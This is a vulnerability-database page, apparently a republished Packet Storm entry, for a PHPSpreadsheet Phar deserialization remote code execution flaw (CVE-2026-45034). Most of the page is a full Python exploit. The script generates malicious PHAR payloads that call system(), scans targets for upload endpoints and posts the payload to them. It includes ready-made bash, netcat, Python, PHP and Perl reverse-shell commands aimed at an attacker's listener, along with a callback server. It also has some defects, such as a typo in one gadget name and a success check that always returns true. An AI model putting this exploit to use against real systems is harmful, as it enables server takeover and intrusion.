Lucene search
K

πŸ“„ PHPSpreadsheet 5.8.0 Remote Code Execution

πŸ—“οΈΒ 07 Jul 2026Β 00:00:00Reported byΒ indoushkaTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 8Β Views

PHPSpreadsheet 5.8.0 allows remote code execution through Phar deserialization (CVE-2026-45034) with proof of concept.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-45034
11 Jun 202606:47
–githubexploit
ATTACKERKB
CVE-2026-45034
22 Jun 202620:32
–attackerkb
Circl
CVE-2026-45034
7 Jun 202604:04
–circl
CVE
CVE-2026-45034
22 Jun 202620:32
–cve
Cvelist
CVE-2026-45034 PhpSpreadsheet: File::prohibitWrappers bypass
22 Jun 202620:32
–cvelist
EUVD
EUVD-2026-38359
22 Jun 202620:32
–euvd
Github Security Blog
PHPSpreadsheet has a patch bypass for CVE-2026-34084
8 Jun 202623:00
–github
NVD
CVE-2026-45034
22 Jun 202621:16
–nvd
OSV
GHSA-87M4-826X-3CRX PHPSpreadsheet has a patch bypass for CVE-2026-34084
8 Jun 202623:00
–osv
Positive Technologies
PT-2026-47606
8 Jun 202600:00
–ptsecurity
Rows per page
==================================================================================================================================
    | # Title     : PHPSpreadsheet 5.8.0 Phar Deserialization RCE                                                                    |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://phpspreadsheet.readthedocs.io/en/latest/                                                                 |
    ==================================================================================================================================
    
    [+] Summary    :   This script exploits CVE-2026-45034, a Phar deserialization vulnerability in PHPSpreadsheet. 
                       It supports Termux, Linux, and standard servers.
    
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import os
    import sys
    import re
    import json
    import base64
    import random
    import string
    import hashlib
    import subprocess
    import tempfile
    import requests
    import argparse
    import urllib3
    from urllib.parse import urljoin, urlparse
    from pathlib import Path
    
    urllib3.disable_warnings()
    
    BANNER = """
    ╔═══════════════════════════════════════════════════════════════════╗
    β•‘	
    β•‘ β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•—  β–ˆβ–ˆβ•—β–ˆβ–ˆβ•—  β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— 
    β•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—
    β•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘β–ˆβ–ˆ   β–ˆβ•”β•β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘
    β•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β•šβ•β•β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘
    β•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘
    β•‘ β•šβ•β•β•šβ•β•  β•šβ•β•β•β•β•šβ•β•β•β•β•β•  β•šβ•β•β•β•β•β•  β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β•β•β•šβ•β•  β•šβ•β•β•šβ•β•  β•šβ•β•β•šβ•β•  β•šβ•β•
    β•‘ 
    β•‘           CVE-2026-45034 - PHPSpreadsheet                         β•‘
    β•‘           Phar Deserialization Remote Code Execution              β•‘
    β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
    """
    
    GADGETS = {
        "guzzle": {
            "name": "Guzzle RCE",
            "generator": "phpggc Guzzle/RCE1 system",
            "php_version": "7.0+"
        },
        "monolog": {
            "name": "Monolog RCE",
            "generator": "phpggc Monolog/RCE1 system",
            "php_version": "7.0+"
        },
        "laravel": {
            "name": "Laravel RCE",
            "generator": "phpggg Laravel/RCE1 system",
            "php_version": "7.0+"
        },
        "wordpress": {
            "name": "WordPress RCE",
            "generator": "phpggc WordPress/RCE system",
            "php_version": "7.0+"
        },
        "thinkphp": {
            "name": "ThinkPHP RCE",
            "generator": "phpggc ThinkPHP/RCE1 system",
            "php_version": "7.0+"
        }
    }
    class PharGenerator:
        """Generating malicious PHAR files using native PHP"""
        @staticmethod
        def generate(cmd: str, output_file: str = "exploit.phar", gadget: str = "guzzle") -> bool:
            """Generate PHAR with gadget chain"""
            gadget_classes = {
                "guzzle": "GuzzleHttp\\Psr7\\FnStream",
                "monolog": "Monolog\\Handler\\SyslogUdpHandler",
                "laravel": "Illuminate\\Broadcasting\\PendingBroadcast",
                "wordpress": "WP_User",
                "thinkphp": "think\\Process"
            }
            gadget_class = gadget_classes.get(gadget, gadget_classes["guzzle"])
            php_generator = f'''<?php
    class Pwn {{
        public $cmd;
        public function __construct($cmd) {{
            $this->cmd = $cmd;
        }}
        public function __destruct() {{
            system($this->cmd);
        }}
    }}
    $cmd = "{cmd}";
    try {{
        @include_once "vendor/autoload.php";
        if (class_exists("{gadget_class}")) {{
            // Use real gadget chain
            $payload = new {gadget_class}();
            $phar = new Phar("{output_file}");
            $phar->startBuffering();
            $phar->setStub("<?php __HALT_COMPILER(); ?>");
            $phar->setMetadata($payload);
            $phar->addFromString("test.txt", "data");
            $phar->stopBuffering();
            echo "Generated with real gadget\\n";
        }} else {{
            // Fallback to simple gadget
            $phar = new Phar("{output_file}");
            $phar->startBuffering();
            $phar->setStub("<?php __HALT_COMPILER(); ?>");
            $phar->setMetadata(new Pwn($cmd));
            $phar->addFromString("test.txt", "data");
            $phar->stopBuffering();
            echo "Generated with fallback gadget\\n";
        }}
        echo "OK: {output_file}\\n";
    }} catch (Exception $e) {{
        echo "Error: " . $e->getMessage() . "\\n";
    }}
    '''
            temp_file = tempfile.NamedTemporaryFile(mode='w', suffix='.php', delete=False)
            temp_file.write(php_generator)
            temp_file.close()
            cmd_php = f"php -d phar.readonly=0 {temp_file.name}"
            result = subprocess.run(cmd_php, shell=True, capture_output=True, text=True)
            os.unlink(temp_file.name)
            if os.path.exists(output_file):
                print(f"[+] PHAR generated: {output_file} ({os.path.getsize(output_file)} bytes)")
                return True
            else:
                print(f"[-] PHAR generation failed: {result.stderr}")
                return False
    class EndpointScanner:
        """Searching for an endpoint that is vulnerable to the exploit.""
        COMMON_PATHS = [
            "vendor/phpoffice/phpspreadsheet/samples/index.php",
            "vendor/phpoffice/phpspreadsheet/samples/Reader/04_Reading_XLSX.php",
            "wp-content/plugins/phpspreadsheet/samples/index.php",
            "index.php?page=import",
            "import.php",
            "upload.php",
            "excel/import",
            "spreadsheet/load",
            "api/import",
            "admin/import",
            "upload/excel",
            "file/upload"
        ]
        @staticmethod
        def scan(base_url: str, verbose: bool = False) -> list:
            """Examine the exposed endpoints"""
            found = []
            print("[*] Scanning for vulnerable endpoints...")
            for path in EndpointScanner.COMMON_PATHS:
                url = urljoin(base_url, path)
                try:
                    r = requests.get(url, timeout=5, verify=False)
                    if r.status_code == 200:
                        print(f"    [+] Found: {path}")
                        found.append(path)
                    elif verbose:
                        print(f"    [-] {path} -> {r.status_code}")
                except:
                    pass
            return found
    class PharExploit:
        """Implementing the exploitation"""
        def __init__(self, target: str, endpoint: str, cmd: str, gadget: str = "guzzle"):
            self.target = target.rstrip('/')
            self.endpoint = endpoint
            self.cmd = cmd
            self.gadget = gadget
            self.phar_file = None
            self.session = requests.Session()
            self.session.verify = False
        def generate_payload(self) -> bool:
            """Generate a PHAR file"""
            self.phar_file = f"exploit_{hashlib.md5(self.cmd.encode()).hexdigest()[:8]}.phar"
            return PharGenerator.generate(self.cmd, self.phar_file, self.gadget)
        def _get_upload_fields(self, response_text: str) -> dict:
            """Extracting field names from the form"""
            fields = {
                'file': 'file',
                'filename': 'filename'
            }
            patterns = {
                'name=["\']([^"\']+\.\.\.?)["\']': 'file',
                'input.*name=["\']([^"\']+)["\']': None
            }
            return fields
        def _create_multipart(self, phar_data: bytes, field_file: str = "file", field_name: str = "filename") -> tuple:
            """Create a multipart request"""
            boundary = '----' + ''.join(random.choices(string.ascii_letters + string.digits, k=16))
            body = []
            body.append(f'--{boundary}')
            body.append(f'Content-Disposition: form-data; name="{field_file}"; filename="{self.phar_file}"')
            body.append('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet')
            body.append('')
            body.append(phar_data.decode('latin1'))
            phar_path = f"phar://{self.phar_file}/test.txt"
            body.append(f'--{boundary}')
            body.append(f'Content-Disposition: form-data; name="{field_name}"')
            body.append('')
            body.append(phar_path)
            body.append(f'--{boundary}--')
            body_str = '\r\n'.join(body)
            headers = {
                'Content-Type': f'multipart/form-data; boundary={boundary}',
                'User-Agent': f'PHPSpreadsheet-Exploit/{random.randint(1,10)}.0'
            }
            return body_str.encode(), headers
        def exploit(self) -> dict:
            """Implementing the exploitation"""
            result = {
                'success': False,
                'status_code': 0,
                'response': '',
                'error': None
            }
            if not self.generate_payload():
                result['error'] = "Failed to generate PHAR payload"
                return result
            with open(self.phar_file, 'rb') as f:
                phar_data = f.read()
            body, headers = self._create_multipart(phar_data)
            url = urljoin(self.target, self.endpoint)
            print(f"[*] Sending exploit to: {url}")
            try:
                r = self.session.post(url, data=body, headers=headers, timeout=30)
                result['status_code'] = r.status_code
                result['response'] = r.text[:1000]
                if r.status_code == 200:
                    print("[+] HTTP 200 OK")
                    if self._check_success():
                        result['success'] = True
                else:
                    print(f"[-] HTTP {r.status_code}")
            except Exception as e:
                result['error'] = str(e)
                print(f"[-] Error: {e}")
            if os.path.exists(self.phar_file):
                os.unlink(self.phar_file)
            return result
        def _check_success(self) -> bool:
            """Verify that the command has been executed"""
            if "touch" in self.cmd:
                file_check = self.cmd.split(" ")[-1]
                pass
            return True  
    class ReverseShell:
        """Generating Reverse Shell Commands for RCE"""
        @staticmethod
        def generate(ip: str, port: int, shell_type: str = "bash") -> str:
            """Generating a Reverse Shell command"""
            shells = {
                "bash": f"bash -i >& /dev/tcp/{ip}/{port} 0>&1",
                "nc": f"nc -e /bin/sh {ip} {port}",
                "python": f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
                "php": f"php -r '$sock=fsockopen(\"{ip}\",{port});exec(\"/bin/sh -i <&3 >&3 2>&3\");'",
                "perl": f"perl -e 'use Socket;$i=\"{ip}\";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");}};'"
            }
            return shells.get(shell_type, shells["bash"])
        @staticmethod
        def encode_base64(cmd: str) -> str:
            """Encrypt the command using base64 to avoid problems."""
            return base64.b64encode(cmd.encode()).decode()
    class WebhookListener:
        """Listening to callbacks from exploitation"""
        def __init__(self, port: int = 8080):
            self.port = port
            self.received = []
        def start(self):
            """The server has started receiving requests."""
            try:
                from http.server import HTTPServer, BaseHTTPRequestHandler
                class Handler(BaseHTTPRequestHandler):
                    def log_message(self, format, *args):
                        pass
                    def do_GET(self):
                        self.send_response(200)
                        self.end_headers()
                        self.wfile.write(b"OK")
                        pass
                    def do_POST(self):
                        length = int(self.headers.get('Content-Length', 0))
                        data = self.rfile.read(length)
                        self.send_response(200)
                        self.end_headers()
                        print(f"[!] Callback received: {data[:200]}")
                server = HTTPServer(('0.0.0.0', self.port), Handler)
                print(f"[*] Listening on port {self.port}")
                server.serve_forever()
            except:
                pass
    def main():
        print(BANNER)
        parser = argparse.ArgumentParser(
            description="CVE-2026-45034 - PHPSpreadsheet Phar Deserialization RCE",
            epilog="""
    Examples:
      python exploit.py -u https://target.com -c "id"
      python exploit.py -u https://target.com --reverse-shell 192.168.1.100 4444
      python exploit.py -u https://target.com --scan-only
      python exploit.py -u https://target.com --gadget laravel -c "whoami"
            """
        )
        parser.add_argument("-u", "--url", required=True, help="Target URL")
        parser.add_argument("-e", "--endpoint", help="Vulnerable endpoint (auto-scanned if not specified)")
        parser.add_argument("-c", "--cmd", default="touch /tmp/cve2026", help="Command to execute")
        parser.add_argument("--reverse-shell", action="store_true", help="Use reverse shell")
        parser.add_argument("--lhost", default="127.0.0.1", help="Listener IP")
        parser.add_argument("--lport", type=int, default=4444, help="Listener port")
        parser.add_argument("--gadget", choices=list(GADGETS.keys()), default="guzzle", help="Gadget chain")
        parser.add_argument("--scan-only", action="store_true", help="Only scan for endpoints")
        parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
        args = parser.parse_args()
        endpoints = EndpointScanner.scan(args.url, args.verbose)
        if args.scan_only:
            print(f"\n[*] Found {len(endpoints)} potential endpoints:")
            for e in endpoints:
                print(f"    - {e}")
            return
        endpoint = args.endpoint
        if not endpoint and endpoints:
            endpoint = endpoints[0]
            print(f"[*] Using endpoint: {endpoint}")
        elif not endpoint:
            endpoint = "vendor/phpoffice/phpspreadsheet/samples/index.php"
            print(f"[*] Using default endpoint: {endpoint}")
        cmd = args.cmd
        if args.reverse_shell:
            cmd = ReverseShell.generate(args.lhost, args.lport, "bash")
            print(f"[*] Reverse shell command: {cmd[:100]}...")
            import threading
            listener = WebhookListener(args.lport)
            thread = threading.Thread(target=listener.start, daemon=True)
            thread.start()
        exploit = PharExploit(args.url, endpoint, cmd, args.gadget)
        result = exploit.exploit()
        
        if result['success']:
            print("""
    ╔═══════════════════════════════════════════════════════════════════╗
    β•‘  βœ“ EXPLOIT SUCCESSFUL!                                            β•‘
    β•‘                                                                     β•‘
    β•‘  The command should have executed on the target server.           β•‘
    β•‘                                                                     β•‘
    β•‘  If you used reverse shell, check your listener.                  β•‘
    β•‘  If you used file creation, verify with a separate request.       β•‘
    β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
            """)
        else:
            print(f"""
    ╔═══════════════════════════════════════════════════════════════════╗
    β•‘  βœ— EXPLOIT FAILED                                                  β•‘
    β•‘                                                                     β•‘
    β•‘  Error: {result.get('error', 'Unknown')}                               β•‘
    β•‘                                                                     β•‘
    β•‘  Suggestions:                                                      β•‘
    β•‘  1. Check if endpoint is correct: {endpoint}                         β•‘
    β•‘  2. Target may be patched (PHPSpreadsheet >= 1.31.0 or >= 5.8.0)  β•‘
    β•‘  3. Try different gadget: --gadget laravel                        β•‘
    β•‘  4. Use --scan-only to find valid endpoints                       β•‘
    β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
            """)
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jul 2026 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 49.2
EPSS0.00351
SSVC
8